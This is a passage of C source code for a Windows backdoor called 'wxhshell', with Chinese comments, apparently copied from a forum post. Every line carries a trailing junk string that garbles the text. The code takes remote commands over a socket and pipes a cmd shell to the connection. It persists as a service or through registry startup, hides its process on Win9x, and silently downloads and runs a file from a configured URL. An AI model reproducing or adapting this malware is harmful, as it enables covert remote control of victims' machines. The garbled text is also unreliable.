  // 帮助 `H\^#Zu  
  case '?': { A&z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BQm H9g|2  
    break; T =:^k+  
  } E| No$QO)  
  // 安装 I)6)~[:'  
  case 'i': { B!,})F$x  
    if(Install()) T^"d%au  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b747eR 7E  
    else lGxG$0`;;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }hGbF"clqg  
    break; 419t"1b  
    } vJYy`k^Y  
  // 卸载 jvW/M.q4  
  case 'r': { Od!j+.OY<  
    if(Uninstall()) ;yH/GN#O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oYu5]ry  
    else JMoWA0f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /0zk&g  
    break; $Cte$ jg{;  
    } `74A'(u_  
  // 显示 wxhshell 所在路径 (HY|0Bgr  
  case 'p': { x;ujR<  
    char svExeFile[MAX_PATH]; &D/_@\ 0  
    strcpy(svExeFile,"\n\r"); yHCBf)N7\  
      strcat(svExeFile,ExeFile); /7*u!CNm  
        send(wsh,svExeFile,strlen(svExeFile),0); Tmq:,.^}  
    break; BONM:(1  
    } 55Jk "V#8  
  // 重启 98x(2fCvF(  
  case 'b': { WFtxEIrl3j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GX\/2P7CZ  
    if(Boot(REBOOT)) " 4s,a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (d_{+O"  
    else { _,5(HETE2  
    closesocket(wsh); U:ZklDW  
    ExitThread(0); #\w~(Nm-  
    } Rf7py)  
    break; ^}9Aq $R  
    } [~ fJ/  
  // 关机 Ucv-}oa-?  
  case 'd': { HZR~r:_ i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NX$$4<A1  
    if(Boot(SHUTDOWN)) \s [Uq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  F`f#gpQ  
    else { q W) ,)i  
    closesocket(wsh); UAa2oY&  
    ExitThread(0); PZQ}G*p3  
    } Krz[ f  
    break; NFsMc0{  
    } %A?Ym33  
  // 获取shell SZE X;M  
  case 's': { koe&7\ _@  
    CmdShell(wsh); x2;92I{5C,  
    closesocket(wsh); RoP z?,u  
    ExitThread(0); 6Vi #O^>  
    break; iugTXZ(  
  } 'R= r9_%  
  // 退出 -]HO8}-Rjs  
  case 'x': { !<@Zf4m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6 :J @  
    CloseIt(wsh); xj(&EGY:  
    break; .BZw7 YV  
    } (1*?2u*j  
  // 离开 v@[MX- ,8  
  case 'q': { Z{ &PKS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); % `\8z  
    closesocket(wsh); J7$5<  
    WSACleanup(); RytQNwv3  
    exit(1); qd"*Td  
    break; P5kkaLzG  
        } zS]Yd9;X1  
  } B$aboL2  
  }  !1;DRF  
UEt #;e  
  // 提示信息 8&B{bS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sJ25<2/  
} ^2XoYgv  
  } &H<-joZ)Z\  
ewD61Y8-  
  return; "C%;9_ig$  
} FX 0^I 0  
n~k;9`  
// shell模块句柄 (yn!~El3  
int CmdShell(SOCKET sock) L3'o2@$  
{ IKH#[jW'IB  
STARTUPINFO si; 5Tkh6s  
ZeroMemory(&si,sizeof(si)); =]E;wWC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j?#S M!f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e$fxC-sZ  
PROCESS_INFORMATION ProcessInfo; c(i-~_  
char cmdline[]="cmd"; s9zdg"c'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0O|T\E8 e  
  return 0; e%o6s+"  
} OiZPL"Q(K  
-(@dMY  
// 自身启动模式 Xb5n;=)  
int StartFromService(void) h{VCx#!]  
{ bo`w( h_  
typedef struct Fn yA;,*  
{ 8tY],  
  DWORD ExitStatus; %BC*h}KGH  
  DWORD PebBaseAddress; GjfY   
  DWORD AffinityMask; ?&j[Rj0pH  
  DWORD BasePriority; JstX# z  
  ULONG UniqueProcessId; ma?$@ ]`k  
  ULONG InheritedFromUniqueProcessId; 9co1+y=i{  
}   PROCESS_BASIC_INFORMATION; lmgMR|v  
T[*=7jnJQ  
PROCNTQSIP NtQueryInformationProcess; X2/ `EN\  
s+$l.aIO!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z{7&=$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *4dA(N\k"  
~W_m<#K(  
  HANDLE             hProcess; #92 :h6  
  PROCESS_BASIC_INFORMATION pbi; 1ki##v[ W8  
(Rve<n6{A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ; P&K a  
  if(NULL == hInst ) return 0; W:ih#YW_F  
%DbL|;z1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y!h$Z6.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g < M\zD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l!EfvqWX  
,0[bzk  
  if (!NtQueryInformationProcess) return 0; ==l p\  
YR=<xn;m.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cL7je  
  if(!hProcess) return 0; p9y "0A|  
RgZBh04q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &NL=Bd  
pdngM 8n  
  CloseHandle(hProcess); rc<^6HqD  
dc|"34;^"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T4F}MVK  
if(hProcess==NULL) return 0; { %vX/Ek  
;lB%N t<,  
HMODULE hMod; &Ru|L.G`  
char procName[255]; 4t|ril``]  
unsigned long cbNeeded; Eo!1 WRruF  
a]Bm0gdrO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1>[3(o3t  
@{:E&K1f  
  CloseHandle(hProcess); *1$rg?yGf  
~ b!mKyrZ  
if(strstr(procName,"services")) return 1; // 以服务启动 Ola>] 0l  
BOQ2;@:3  
  return 0; // 注册表启动 tz4MT_f  
} Vr D?[&2pE  
hHm &u^xY  
// 主模块 {Nuwz|Ci  
int StartWxhshell(LPSTR lpCmdLine) U"v(9m@  
{ No=Ig-It  
  SOCKET wsl; G^ZL,{  
BOOL val=TRUE; @kenv3[Lc  
  int port=0; a]>gDDF  
  struct sockaddr_in door; 7<<pP  
;O}%_ef@  
  if(wscfg.ws_autoins) Install(); bjmUU6VLT  
Ia=wf"JS)  
port=atoi(lpCmdLine); V<$g^Vb  
Z2_eTC u  
if(port<=0) port=wscfg.ws_port; ),(ejRP'r  
cZuZfMDM  
  WSADATA data; 4_ztIrw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !h4S`2oZ/  
q.yS j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &cV$8*2b^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VLQDktj&  
  door.sin_family = AF_INET; j7K9T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M}k )Ep9  
  door.sin_port = htons(port); mL?9AxO  
< N}UwB&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "WdGY*r  
closesocket(wsl); m\(4y Gj  
return 1; B$1e AwT9  
} S$HzuK\f  
[ dpd-s  
  if(listen(wsl,2) == INVALID_SOCKET) { s#/JMvQ#  
closesocket(wsl); >9'G>~P~I=  
return 1; ,A[40SZA  
} (C={/waJ  
  Wxhshell(wsl); .]6_  
  WSACleanup(); TR L4r_  
`C%,Nj  
return 0; : ~"^st_[!  
=QHW>v  
} }QU9+<Z[r  
}L^Yoq]  
// 以NT服务方式启动 >"q0"zrN,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DmEmv/N=  
{ Oh9wBV  
DWORD   status = 0; X aW@CW  
  DWORD   specificError = 0xfffffff; ~O;!y%  
Z $ Fh4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >*(4evU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R"Nvnpm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S5*wUd*p#  
  serviceStatus.dwWin32ExitCode     = 0; .^>[@w3  
  serviceStatus.dwServiceSpecificExitCode = 0; dd>|1'-]  
  serviceStatus.dwCheckPoint       = 0; :{pvA;f  
  serviceStatus.dwWaitHint       = 0; []/=!?5B  
y8HLrBTza  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {";5n7<<)  
  if (hServiceStatusHandle==0) return;  LKieOgX  
%Qgo0  
status = GetLastError(); ^N#kW-i  
  if (status!=NO_ERROR) 'C)^hj.  
{ '}dlVf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C(Ujx=G+3  
    serviceStatus.dwCheckPoint       = 0; "(PJh\S>S  
    serviceStatus.dwWaitHint       = 0; 3Q*K+(`{  
    serviceStatus.dwWin32ExitCode     = status; [wG?&l$.KB  
    serviceStatus.dwServiceSpecificExitCode = specificError; tQ_;UQlX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); { :xINQ=}D  
    return; IzF7W?k  
  } m8,P-m  
H_sLviYLu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mVfg+d(  
  serviceStatus.dwCheckPoint       = 0; Vh$~]>t:f  
  serviceStatus.dwWaitHint       = 0; x tg3~/H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >gM|:FG  
} !SEHDRp  
$'btfo4H  
// 处理NT服务事件,比如:启动、停止 LbOjKM^-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Un@B D}@\  
{ x^^;/%p  
switch(fdwControl) O9wZx%<  
{ -U)6o"O_CV  
case SERVICE_CONTROL_STOP: an={h,  
  serviceStatus.dwWin32ExitCode = 0; 1v!Xx+}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +6@".<  
  serviceStatus.dwCheckPoint   = 0; o[q Kf  
  serviceStatus.dwWaitHint     = 0; 9_V'P]@  
  {  /s.sW l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?1?D[7$  
  } 9-[g/qrF  
  return; XmXp0b7  
case SERVICE_CONTROL_PAUSE: ,u^i0uOg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zD}dvI}  
  break; "P\k_-a'  
case SERVICE_CONTROL_CONTINUE: CT+pkNC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jJdw\`  
  break; 7].tt  
case SERVICE_CONTROL_INTERROGATE: oNY;z-QK  
  break; \g< M\3f  
}; PeEf=3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :]iV*zo_  
} *i|O!h1St  
s`GwRH<#  
// 标准应用程序主函数 *2N$l>ql:k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \gaGTc2&  
{ Ug*:o d  
Os' 7h  
// 获取操作系统版本 P9; =O$s  
OsIsNt=GetOsVer(); GV#"2{t j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EpSVHD:*  
e#JJd=  
  // 从命令行安装 /*!K4)$-*2  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,2q LiE>  
)%Z<9k  
  // 下载执行文件 o7<pI8\  
if(wscfg.ws_downexe) { A+w51Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !:t}8  
  WinExec(wscfg.ws_filenam,SW_HIDE); / >c F  
} 8X!^ 2B}J  
Ql&5fyW  
if(!OsIsNt) { Q4\EI=4P]  
// 如果时win9x,隐藏进程并且设置为注册表启动 QyQ&xgS  
HideProc(); <iVn!P  
StartWxhshell(lpCmdLine); fiqeXE?E  
} U1G"T(;s:  
else u!?cKZw  
  if(StartFromService()) 5xX*68]%  
  // 以服务方式启动 ^_ L'I%%[  
  StartServiceCtrlDispatcher(DispatchTable); $50A!h  
else vggyQf%  
  // 普通方式启动 <gRv7 ?V[z  
  StartWxhshell(lpCmdLine); S]mXfB(mh  
+#7 e?B  
return 0; ukb2[mb*u  
}
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只看该作者 1 发表于: 2006-10-10
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